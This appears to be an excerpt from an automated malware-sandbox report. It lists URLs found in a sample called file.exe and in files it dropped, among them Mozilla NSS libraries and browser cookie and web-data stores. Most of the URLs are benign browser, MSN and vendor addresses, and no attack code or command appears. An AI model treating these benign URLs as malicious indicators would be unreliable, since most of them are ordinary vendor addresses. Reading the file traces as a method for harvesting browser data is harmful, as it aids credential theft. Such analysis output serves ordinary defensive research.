Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log9.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: FCFHJKJJJECGDHJJDHDA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://m.vk.com/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10&
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log7.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log1.10.dr, 000003.log3.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log1.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log1.10.dr, 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376611706744856.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://open.spotify.com
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.com/
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://web.whatsapp.com
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.1844141390.0000000023E11000.00000004.00000020.00020000.00000000.sdmp, FCFHJKJJJECGDHJJDHDA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: BGCFBGDH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.1592749937.0000000023E1F000.00000004.00000020.00020000.00000000.sdmp, BGCFBGDH.0.dr, FHCGHJDB.0.dr, Web Data.10.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: cb28171e-12be-4097-8dff-9ddac42bf091.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: file.exe, 00000000.00000002.1844141390.0000000023E11000.00000004.00000020.00020000.00000000.sdmp, FCFHJKJJJECGDHJJDHDA.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: 95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1813754900.0000000000C44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.1813754900.0000000000C44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/ECFIDGDGCGHC
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000002.1813754900.0000000000C44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1813754900.0000000000D27000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1813754900.0000000000C44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
